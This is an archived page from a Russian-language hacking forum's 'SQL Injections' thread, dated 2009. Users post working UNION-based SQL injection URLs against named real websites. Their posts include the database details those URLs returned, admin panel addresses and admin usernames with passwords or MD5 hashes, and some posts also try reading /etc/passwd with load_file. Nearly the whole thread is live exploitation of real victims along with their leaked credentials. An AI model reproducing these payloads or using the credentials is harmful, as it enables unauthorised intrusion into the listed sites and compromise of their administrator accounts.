FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 883 из 1602

883

Опции темы

Поиск в этой теме

Опции просмотра

23.04.2009, 19:20

+++AndreyDevil+++

Участник форума

Регистрация: 28.12.2008

Сообщений: 136

Провел на форуме:
1311435

Репутация: 90

http://www.bard.edu/cep/news/release.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*

Database Version: 4.0.18-standard
Database name: tools_new
User name: tools@masterweb.bard.edu

23.04.2009, 19:25

~~farex~~

Banned

Регистрация: 11.03.2009

Сообщений: 214

Провел на форуме:
914766

Репутация: 317

<<Аудио-Видио клуб>>

Код:

http://www.av-club.ru/index.php?id=98+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5--+

5.0.45:av:av@localhost:redhat-linux-gnu

Код:

http://www.av-club.ru/admin/list.php

table: site_admins
db: arlex

admins:
log: nima
pass: dontworry

Sanyok:6fbaadf9839a3389fb77f38231957e1f
test:123
gali:e10adc3949ba59abbe56e057f20f883e
admin:202cb962ac59075b964b07152d234b70

loadf_file('/etc/passwd')

23.04.2009, 20:07

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

Провел на форуме:
6075534

Репутация: 2731

Отправить сообщение для mailbrush с помощью ICQ

Код:

http://www.mukeshmarwah.net/b.php?id=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7

mukesh@172.16.0.141:mm-1967694:5.0.66a-log

23.04.2009, 20:32

L I G A

Постоянный

Регистрация: 27.07.2008

Сообщений: 614

Провел на форуме:
4532332

Репутация: 1196

Отправить сообщение для L I G A с помощью ICQ

www.cormoret.ch

Код:

http://www.cormoret.ch/pages/4.php?id=-67+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4--

version():5.0.45-log
user():cormoret@localhost
database():cormoretch

Последний раз редактировалось L I G A; 23.04.2009 в 20:57..

23.04.2009, 21:10

~~farex~~

Banned

Регистрация: 11.03.2009

Сообщений: 214

Провел на форуме:
914766

Репутация: 317

<<Деловая махачкала>>

Код:

http://www.05info.ru/subcatalog.php?id=-322)+union+select+1,concat_ws(0x2d3d2a3d2d,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8--+

Код:

http://www.05info.ru/admin/

Powered by phpBB 2.0.21
4.1.22-log-=*=-www05inforu-=*=-j05info@localhost-=*=-portbld-freebsd6.2
-=admin=-
table: phpbb_users
username: admin
user_password: 112233445566
+limit+x,x--+ - всего 104 узвера....

23.04.2009, 21:18

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

http://www.firstasset.com/products/fund.php?id= 1'
думаю что тут блинд SQL?
поетому решил через прогу все поискать))))

version():4.0.20
user():fafunds@web1.syonex.com
database():fafunds

спс)))как обычно не ставлю -1)))не знаю почему но бесит)))

Последний раз редактировалось HAXTA4OK; 23.04.2009 в 21:52..

23.04.2009, 21:44

Red_Red1

Участник форума

Регистрация: 12.01.2007

Сообщений: 262

Провел на форуме:
4608122

Репутация: 874

Отправить сообщение для Red_Red1 с помощью ICQ

Нет не слепая там скуля. Вывод есть. Скуля самая обычная
-1+union+select+1,2,3,version(),5,6,7,8,9,10,11,12, 13,14,15,16,17,18/*

23.04.2009, 22:47

HAXTA4OK

Reservists Of Antichat - Level 6

Регистрация: 15.03.2009

Сообщений: 560

Провел на форуме:
4358210

Репутация: 2017

http://www.wustyle.com/ch/new/article.php?id=-1+union+select+1,2,concat(database(),0x3a,user(),0 x3a,version()), 4,5,6,7

wustyle_com:wustyle@localhost:4.1.22-standard

23.04.2009, 23:40

M.W.N.N.

Участник форума

Регистрация: 05.01.2009

Сообщений: 191

Провел на форуме:
3020589

Репутация: 240

Код:

http://www.monvector.mn/index.php?mcmodule=news&newsid=3+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14+limit+1,1/*

version():5.0.33
database():mnvector
user():root@localhost

Код:

http://www.monvector.mn/index.php?mcmodule=news&newsid=3+union+select+1,2,3,concat_ws(0x3a,loginname,password),5,6,7,8,9,10,11,12,13,14+from+user+limit+1,1/*

admin:dashkaa

Код:

http://www.monvector.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.tuushin.mn/index.php?do=news&newsid=3+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15+from+user+limit+1,1/*

version()5.0.33
database():tuushin
user():root@localhost

Код:

http://www.tuushin.mn/index.php?do=news&newsid=3+union+select+1,2,3,4,concat_ws(0x3a,loginname,password),6,7,8,9,10,11,12,13,14,15+from+user+limit+1,1/*

admin:dashkaa

Код:

http://www.tuushin.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.uurkhai.mn/index.php?mcmodule=news&newsid=72+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18,19

version()5.0.75-community-log
database():uurkhaim_uurkhai
user():uurkhaim_admin@localhost

Код:

http://www.uurkhai.mn/index.php?mcmodule=news&newsid=72+union+select+1,2,3,4,concat_ws(0x3a,userid,loginname,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+user

sony:toshiba

Код:

http://www.uurkhai.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.powergym.mn/index.php?mcmodule=news&newsid=588+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12+limit+1,1

version():5.0.75-community-log
database():uukhaine_powergym
user():uukhaine_undes@localhost

Код:

http://www.powergym.mn/index.php?mcmodule=news&newsid=588+union+select+1,2,concat_ws(0x3a,loginname,password),4,5,6,7,8,9,10,11,12+from+user+limit+1,1

admin:123456

Код:

http://www.powergym.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.onlinezar.mn/index.php?mcmodule=news&newsid=59+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12+from+user+limit+1,1

version():5.0.75-community-log
database():uukhaine_onlinezar
user():uukhaine_undes@localhost

Код:

http://www.onlinezar.mn/index.php?mcmodule=news&newsid=59+union+select+1,2,concat_ws(0x3a,loginname,password),4,5,6,7,8,9,10,11,12+from+user+limit+1,1

admin:mmc

Код:

http://www.onlinezar.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.uils.mn/index.php?info=newsfull&newsid=134+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10+limit+1,1/*

version():4.1.20-log
database():uilsmn
user():dbuils@209.62.85.107

Код:

http://www.uils.mn/index.php?info=newsfull&newsid=134+union+select+1,2,3,concat_ws(0x3a,loginname,password),5,6,7,8,9,10+from+user+limit+1,1/*

d.admin:admin

Код:

http://www.uils.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.ecoedu.mn/index.php?mcmodule=news&newsid=850+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11,12+limit+1,1/*

version():4.1.20-max-log
database():ecoedu
user():ecouser@67.15.35.121

Код:

http://www.ecoedu.mn/index.php?mcmodule=news&newsid=850+union+select+1,2,concat_ws(0x3a,loginname,password),4,5,6,7,8,9,10,11,12+from+user+limit+1,1/*

admin:admin

Код:

http://www.ecoedu.mn/admin/login.php

___
Powered by DzCMS

Код:

http://www.mon-ensemble.mn/index.php?mcmodule=cat_pages&catcode=7+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+user/*

version():4.1.20-log
database():eiti
user():eitimongolia@67.15.184.2

Код:

http://www.mon-ensemble.mn/index.php?mcmodule=cat_pages&catcode=7+union+select+1,2,3,concat_ws(0x3a,loginname,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+user/*

admin:admin

Код:

http://www.mon-ensemble.mn/admin/login.php

___

Код:

http://sflc.num.edu.mn/index.php?newsid=zuwlul&contentid=7+union+select+1,2,concat_ws(0x3a,version(),database(),user())/*

version()():5.0.45
database():sflc_db
user():sflcdbuser@localhost

Код:

http://sflc.num.edu.mn/index.php?newsid=zuwlul&contentid=7+union+select+1,2,concat(table_name,0x3a,column_name)+from+information_schema.columns/*

#10

23.04.2009, 23:41

~~farex~~

Banned

Регистрация: 11.03.2009

Сообщений: 214

Провел на форуме:
914766

Репутация: 317

<<Доска бесплатных объявлений>>

Код:

http://www.board.reporter-studio.ru/idv.php?id=-55886'+union+select+1,2,3,4,5,6,concat_ws(0x2d3d2a3d2d,version(),database(),user(),@@version_compile_os),8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6--+

5.0.22-=*=-board_-=*=-admin@localhost-=*=-redhat-linux-gnu
robots.txt

Код:

#robots.txt for http://www.board.reporter-studio.ru
user-agent: *
disallow: /admin/
disallow: /connect.php
disallow: /banners.php
Host: www.board.reporter-studio.ru

tables where: +like+'password'--+

Код:

http://www.board.reporter-studio.ru/idv.php?id=-55886'+union+select+1,2,3,4,5,6,table_name,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6+from+information_schema.columns++where+column_name+like+0x70617373776f7264+limit+7,1--+

table: admin
db: publications_
log: admin
pass: 374982
load_file('/etc/passwd')